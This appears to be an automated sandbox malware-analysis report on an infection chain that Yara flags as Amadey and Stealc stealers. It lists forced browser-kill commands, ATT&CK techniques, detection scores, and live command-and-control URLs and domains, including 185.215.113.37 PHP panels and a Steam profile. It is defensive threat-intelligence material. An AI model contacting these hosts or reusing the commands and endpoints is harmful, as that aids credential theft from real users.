Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

7_2_00EA0B62

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00EA1663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

7_2_00EA1663

Source: cb428cafc9.exe, 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, cb428cafc9.exe, 0000001A.00000000.2802596566.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, cb428cafc9.exe, 00000045.00000002.4394162441.0000000000F02000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000003.00000002.2158512198.0000000000CF6000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Program Manager
Source: cb428cafc9.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00E60698 cpuid

7_2_00E60698

Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

22_2_00657B90

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000336001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000336001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00EB8195 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,

7_2_00EB8195

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00E9D27A GetUserNameW,

7_2_00E9D27A

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00E7B952 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

7_2_00E7B952

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00E442DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

7_2_00E442DE

Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.skotes.exe.b00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.xwZfYpo16i.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.b00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.2117620927.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2131405540.0000000000221000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2158417575.0000000000B01000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2116705188.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2157232237.0000000000B01000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2044316715.0000000005280000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2520519803.00000000052D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 00000007.00000003.3851843116.0000000001410000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cb428cafc9.exe PID: 6520, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cb428cafc9.exe PID: 4568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cb428cafc9.exe PID: 7096, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 41.0.num.exe.640000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.num.exe.640000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.num.exe.640000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.num.exe.640000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000029.00000002.2898285254.0000000000641000.00000080.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2737892178.000000000145E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.2723151749.0000000000641000.00000080.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.2898759445.0000000000A27000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.2885228529.0000000000641000.00000080.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2737034611.0000000000641000.00000080.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: num.exe PID: 2448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 3568, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Source: cb428cafc9.exe	Binary or memory string: WIN_81
Source: cb428cafc9.exe	Binary or memory string: WIN_XP
Source: random[1].exe.6.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: cb428cafc9.exe	Binary or memory string: WIN_XPe
Source: cb428cafc9.exe	Binary or memory string: WIN_VISTA
Source: cb428cafc9.exe	Binary or memory string: WIN_7
Source: cb428cafc9.exe	Binary or memory string: WIN_8

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: 00000007.00000003.3851843116.0000000001410000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cb428cafc9.exe PID: 6520, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cb428cafc9.exe PID: 4568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cb428cafc9.exe PID: 7096, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 41.0.num.exe.640000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.num.exe.640000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.num.exe.640000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.num.exe.640000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000029.00000002.2898285254.0000000000641000.00000080.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2737892178.000000000145E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.2723151749.0000000000641000.00000080.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.2898759445.0000000000A27000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.2885228529.0000000000641000.00000080.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2737034611.0000000000641000.00000080.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: num.exe PID: 2448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 3568, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EC1204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		7_2_00EC1204
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EC1806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		7_2_00EC1806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	131 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	11 Native API	2 Valid Accounts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Valid Accounts	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	111 Registry Run Keys / Startup Folder	21 Access Token Manipulation	12 Software Packing	NTDS	339 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	112 Process Injection	1 DLL Side-Loading	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	11 Masquerading	Cached Domain Credentials	461 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	111 Registry Run Keys / Startup Folder	2 Valid Accounts	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	461 Virtualization/Sandbox Evasion	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	112 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
xwZfYpo16i.exe	100%	Avira	TR/Crypt.TPM.Gen
xwZfYpo16i.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000336001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	32%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	24%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	24%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1000336001\num.exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	32%	ReversingLabs

Source	Detection	Scanner	Label
https://player.vimeo.com	0%	URL Reputation	safe
https://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
http://185.215.113.37	100%	URL Reputation	malware
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
http://www.valvesoftware.com/legal.htm	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	0%	URL Reputation	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	URL Reputation	safe
https://steam.tv/	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	0%	URL Reputation	safe
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://store.steampowered.com/points/shop/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900/inventory/	100%	URL Reputation	malware
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	URL Reputation	safe
https://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	0%	URL Reputation	safe
https://store.steampowered.com/;	0%	URL Reputation	safe
https://store.steampowered.com/about/	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://store.steampowered.com/news/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/	0%	URL Reputation	safe
http://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	0%	URL Reputation	safe
https://recaptcha.net/recaptcha/;	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	0%	URL Reputation	safe
https://store.steampowered.com/stats/	0%	URL Reputation	safe
https://medal.tv	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	0%	URL Reputation	safe
https://store.steampowered.com/steam_refunds/	0%	URL Reputation	safe
https://login.steampowered.com/	0%	URL Reputation	safe
https://store.steampowered.com/legal/	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl	0%	URL Reputation	safe
https://recaptcha.net	0%	URL Reputation	safe
https://store.steampowered.com/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
youtube-ui.l.google.com	172.217.23.110	true	false	unknown
steamcommunity.com	104.102.49.254	true	false	unknown
www3.l.google.com	142.250.184.206	true	false	unknown
play.google.com	172.217.18.14	true	false	unknown
www.google.com	172.217.16.132	true	false	unknown
sergei-esenin.com	172.67.206.204	true	true	unknown
youtube.com	142.250.185.110	true	false	unknown
bathdoomgaz.store	unknown	unknown	false	unknown
spirittunek.store	unknown	unknown	false	unknown
licendfilteo.site	unknown	unknown	true	unknown
studennotediw.store	unknown	unknown	false	unknown
mobbipenju.store	unknown	unknown	false	unknown
accounts.youtube.com	unknown	unknown	false	unknown
eaglepawnoy.store	unknown	unknown	false	unknown
www.youtube.com	unknown	unknown	false	unknown
clearancek.site	unknown	unknown	true	unknown
dissapoiznw.store	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.43/Zu7JuNko/index.php	true		unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
https://www.google.com/favicon.ico	false		unknown
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
https://play.google.com/log?format=json&hasfast=true&authuser=0	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://player.vimeo.com	4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bathdoomgaz.store:443/api	4db5303091.exe, 00000036.00000002.3037268767.0000000000D95000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031333435.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phptE	num.exe, 00000016.00000002.2737892178.00000000014A7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://steamcommunity.com/?subsection=broadcasts	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/	4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/subscriber_agreement/	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37	num.exe, 00000016.00000002.2737892178.000000000145E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000029.00000002.2898759445.0000000000A27000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/Data	num.exe, 00000029.00000002.2898759445.0000000000A67000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.valvesoftware.com/legal.htm	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com	4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
